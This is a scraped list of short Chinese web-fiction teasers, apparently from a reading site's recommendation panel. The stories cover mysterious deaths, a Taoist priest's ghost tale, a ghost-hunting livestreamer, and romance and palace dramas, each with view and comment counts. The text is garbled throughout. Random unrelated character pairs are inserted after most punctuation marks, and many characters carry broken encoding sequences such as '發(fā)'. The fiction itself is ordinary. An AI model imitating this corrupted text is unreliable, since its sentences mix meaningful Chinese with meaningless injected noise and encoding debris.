  • 序言:濱河連續(xù)發(fā)生了三起死亡事件滤愕,死亡現場離奇詭異温算,居然都是意外死亡,警方通過查閱死者的電腦和手機间影,發(fā)現死者居然都...
    沈念sama閱讀 93,372評論 3 395
  • 文/潘曉璐 我一進店門注竿,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人魂贬,你說我怎么就攤上這事巩割。” “怎么了付燥?”我有些...
    開封第一講書人閱讀 165,282評論 0 356
  • 文/不壞的土叔 我叫張陵宣谈,是天一觀的道長。 經常有香客問我键科,道長闻丑,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,842評論 1 295
  • 正文 為了忘掉前任勋颖,我火速辦了婚禮嗦嗡,結果婚禮上,老公的妹妹穿的比我還像新娘饭玲。我一直安慰自己酸钦,他們只是感情好,可當我...
    茶點故事閱讀 67,857評論 6 392
  • 文/花漫 我一把揭開白布咱枉。 她就那樣靜靜地躺著卑硫,像睡著了一般。 火紅的嫁衣襯著肌膚如雪蚕断。 梳的紋絲不亂的頭發(fā)上欢伏,一...
    開封第一講書人閱讀 51,679評論 1 305
  • 那天,我揣著相機與錄音亿乳,去河邊找鬼硝拧。 笑死径筏,一個胖子當著我的面吹牛,可吹牛的內容都是我干的障陶。 我是一名探鬼主播滋恬,決...
    沈念sama閱讀 40,406評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼抱究!你這毒婦竟也來了恢氯?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 39,311評論 0 276
  • 序言:老撾萬榮一對情侶失蹤鼓寺,失蹤者是張志新(化名)和其女友劉穎勋拟,沒想到半個月后,有當地人在樹林里發(fā)現了一具尸體妈候,經...
    沈念sama閱讀 45,767評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡敢靡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現自己被綠了苦银。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片啸胧。...
    茶點故事閱讀 40,090評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖幔虏,靈堂內的尸體忽然破棺而出纺念,到底是詐尸還是另有隱情,我是刑警寧澤所计,帶...
    沈念sama閱讀 35,785評論 5 346
  • 正文 年R本政府宣布柠辞,位于F島的核電站团秽,受9級特大地震影響主胧,放射性物質發(fā)生泄漏。R本人自食惡果不足惜习勤,卻給世界環(huán)境...
    茶點故事閱讀 41,420評論 3 331
  • 文/蒙蒙 一踪栋、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧图毕,春花似錦夷都、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,988評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至蛤虐,卻和暖如春党饮,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背驳庭。 一陣腳步聲響...
    開封第一講書人閱讀 33,101評論 1 271
  • 我被黑心中介騙來泰國打工刑顺, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留氯窍,地道東北人。 一個月前我還...
    沈念sama閱讀 48,298評論 3 372
  • 正文 我出身青樓蹲堂,卻偏偏與公主長得像狼讨,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子柒竞,可洞房花燭夜當晚...
    茶點故事閱讀 45,033評論 2 355